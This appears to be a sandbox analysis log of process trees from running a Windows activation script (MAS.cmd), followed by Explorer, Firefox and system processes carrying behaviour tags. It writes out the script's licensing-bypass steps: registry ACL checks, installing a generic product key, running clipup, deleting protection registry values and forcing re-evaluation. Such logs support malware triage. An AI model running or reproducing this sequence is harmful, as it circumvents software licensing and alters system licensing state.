C:\Windows\System32\sc.exesc query LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DisplayName6⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Start6⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\sc.exesc start Winmgmt6⤵
- Launches sc.exe
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value6⤵
-
-
C:\Windows\System32\find.exefind /i "computersystem"6⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService get Version6⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 06⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0" "6⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "0x800410 0x800440 0x80131501"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0" /f ba02fed39662 /d6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore7⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'C:\Windows\System32\spp\store\2.0' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow FullControl') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'HKLM:\SYSTEM\WPA' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow QueryValues, EnumerateSubKeys, WriteKey') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow SetValue') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$netServ = (New-Object Security.Principal.SecurityIdentifier('S-1-5-20')).Translate([Security.Principal.NTAccount]).Value; $aclString = Get-Acl 'Registry::HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies' | Format-List | Out-String; if (-not ($aclString.Contains($netServ + ' Allow FullControl') -or $aclString.Contains('NT SERVICE\sppsvc Allow FullControl')) -or ($aclString.Contains('Deny'))) {Exit 3}"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':wpatest\:.*';. ([scriptblock]::Create($f[1]))" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':wpatest\:.*';. ([scriptblock]::Create($f[1]))"7⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedTSReArmed"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ClipSVC\Volatile\PersistedSystemState"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE7⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE7⤵
-
-
-
C:\Windows\System32\sc.exesc query wlms6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SLsvc.exe"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe\PerfOptions"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm"7⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Get-WmiObject -Query 'SELECT Description FROM SoftwareLicensingProduct WHERE PartialProductKey IS NOT NULL AND LicenseDependsOn IS NULL' | Select-Object -Property Description"6⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "KMS_"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$s=New-Object -ComObject 'Schedule.Service'; $s.Connect(); $state=$s.GetFolder('\Microsoft\Windows\SoftwareProtectionPlatform').GetTask('SvcRestartTask').State; @{0='Unknown';1='Disabled';2='Queued';3='Ready';4='Running'}[$state]" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$s=New-Object -ComObject 'Schedule.Service'; $s.Connect(); $state=$s.GetFolder('\Microsoft\Windows\SoftwareProtectionPlatform').GetTask('SvcRestartTask').State; @{0='Unknown';1='Disabled';2='Queued';3='Ready';4='Running'}[$state]"7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "6⤵
-
-
C:\Windows\System32\find.exefind /i "Ready"6⤵
-
-
C:\Windows\System32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "actionlist" /f6⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Removed" "6⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Removed Not Found"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0724cb7d-3437-4cb7-93cb-830375d0079d 16e50fa1-a5a0-479f-aa81-90756738b4f1 299d7afe-0eac-400f-b6c7-da11a8b2a756 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 32d2fab3-e4a8-42c2-923b-4bf4fd13e6ee 357eb3d2-42c6-4731-ac66-df185cdd3683 59eb965c-9150-42b7-a0ec-22151b9897c5 5a85300a-bfce-474f-ac07-a30983e3fb90 60b3ec1b-9545-4921-821f-311b129dd6f6 6c4de1b8-24bb-4c17-9a77-7b939414c298 7a802526-4c94-4bd1-ba14-835a1aca2120 90da7373-1c51-430b-bf26-c97e9c5cdc31 d4f9b41f-205c-405e-8e08-3d16e88e02be d552befb-48cc-4327-8f39-47d2d94f987c e923d769-e71d-4c2a-925a-93547cbe6547 ec95c5fa-85de-463d-a6c4-aa9a1cd2ce12 f6e29426-a256-4316-88bf-cc5b0f95ec0c " "6⤵
-
-
C:\Windows\System32\find.exefind /i "ed655016-a9e8-4434-95d9-4345352c2552"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0724cb7d-3437-4cb7-93cb-830375d0079d 16e50fa1-a5a0-479f-aa81-90756738b4f1 299d7afe-0eac-400f-b6c7-da11a8b2a756 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 32d2fab3-e4a8-42c2-923b-4bf4fd13e6ee 357eb3d2-42c6-4731-ac66-df185cdd3683 59eb965c-9150-42b7-a0ec-22151b9897c5 5a85300a-bfce-474f-ac07-a30983e3fb90 60b3ec1b-9545-4921-821f-311b129dd6f6 6c4de1b8-24bb-4c17-9a77-7b939414c298 7a802526-4c94-4bd1-ba14-835a1aca2120 90da7373-1c51-430b-bf26-c97e9c5cdc31 d4f9b41f-205c-405e-8e08-3d16e88e02be d552befb-48cc-4327-8f39-47d2d94f987c e923d769-e71d-4c2a-925a-93547cbe6547 ec95c5fa-85de-463d-a6c4-aa9a1cd2ce12 f6e29426-a256-4316-88bf-cc5b0f95ec0c " "6⤵
-
-
C:\Windows\System32\find.exefind /i "6c4de1b8-24bb-4c17-9a77-7b939414c298"6⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call InstallProductKey ProductKey="CGK42-GYN6Y-VD22B-BX98W-J8JXD"6⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 06⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call RefreshLicenseStatus6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Name 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Name7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Nation 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Nation7⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':sign\:.*';. ([scriptblock]::Create($f[1]))"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Restart-Service ClipSVC } | Wait-Job -Timeout 20 | Out-Null"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\ClipUp.execlipup -v -o6⤵
-
C:\Windows\System32\clipup.execlipup -v -o -ppl C:\Users\Admin\AppData\Local\Temp\temFC98.tmp7⤵
- Checks SCSI registry key(s)
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''"6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 11 IoT Enterprise LTSC" "6⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"6⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey IS NOT NULL AND LicenseDependsOn is NULL" call Activate6⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 06⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value6⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"6⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "State" /f6⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "SuppressRulesEngine" /f6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Stop-Service sppsvc -force } | Wait-Job -Timeout 20 | Out-Null; $TB = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); [void]$TB.DefinePInvokeMethod('SLpTriggerServiceWorker', 'sppc.dll', 22, 1, [Int32], @([UInt32], [IntPtr], [String], [UInt32]), 1, 3); [void]$TB.CreateType()::SLpTriggerServiceWorker(0, 0, 'reeval', 0)"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\timeout.exetimeout /t 26⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/Z-"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/K-"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/Ohook"6⤵
-
-
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy1⤵
-
C:\Windows\system32\userinit.exeC:\Windows\system32\userinit.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE2⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops desktop.ini file(s)
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\private_browsing.exe"C:\Program Files\Mozilla Firefox\private_browsing.exe"3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -private-window4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -private-window5⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1952 -prefsLen 27097 -prefMapHandle 1956 -prefMapSize 270279 -ipcHandle 2028 -initialChannelId {4504127b-4a80-4408-8665-b7dc2d7aafe1} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2400 -prefsLen 27133 -prefMapHandle 2404 -prefMapSize 270279 -ipcHandle 2420 -initialChannelId {326cf6f0-1d2d-428d-9e1e-b4fdc8f7e67e} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3864 -prefsLen 27274 -prefMapHandle 3868 -prefMapSize 270279 -jsInitHandle 3872 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3880 -initialChannelId {fd2bc9a9-d605-4f4e-8595-7192365f94c4} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4008 -prefsLen 27274 -prefMapHandle 4012 -prefMapSize 270279 -ipcHandle 4028 -initialChannelId {3882ed07-6832-41d0-94d2-049d887b857b} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd6⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3284 -prefsLen 34829 -prefMapHandle 2996 -prefMapSize 270279 -jsInitHandle 3092 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1540 -initialChannelId {31396353-055f-4642-b00d-0a72e8ebb4b1} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5032 -prefsLen 34878 -prefMapHandle 5036 -prefMapSize 270279 -ipcHandle 4992 -initialChannelId {fe64d26d-be9b-4273-b0c8-19aa2273ae26} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5528 -prefsLen 33000 -prefMapHandle 5540 -prefMapSize 270279 -jsInitHandle 5624 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5588 -initialChannelId {025f5004-38b7-4ede-9c6e-f2d0af0d9f05} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5712 -prefsLen 33000 -prefMapHandle 5716 -prefMapSize 270279 -jsInitHandle 5720 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5728 -initialChannelId {708b6d5d-a47d-4299-9737-f5966ffecb1d} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5912 -prefsLen 33000 -prefMapHandle 5916 -prefMapSize 270279 -jsInitHandle 5920 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5948 -initialChannelId {c8f2ac93-6f02-4094-a4cf-7fde4131172b} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab6⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6572 -prefsLen 36077 -prefMapHandle 6576 -prefMapSize 270279 -jsInitHandle 6580 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6588 -initialChannelId {0db957fc-5cdc-422c-b4d6-1fd03017f603} -parentPid 6432 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6432" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab6⤵
- Checks processor information in registry
-
-
-
-
-
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\coredpussvr.exeC:\Windows\System32\coredpussvr.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -s LxpSvc1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
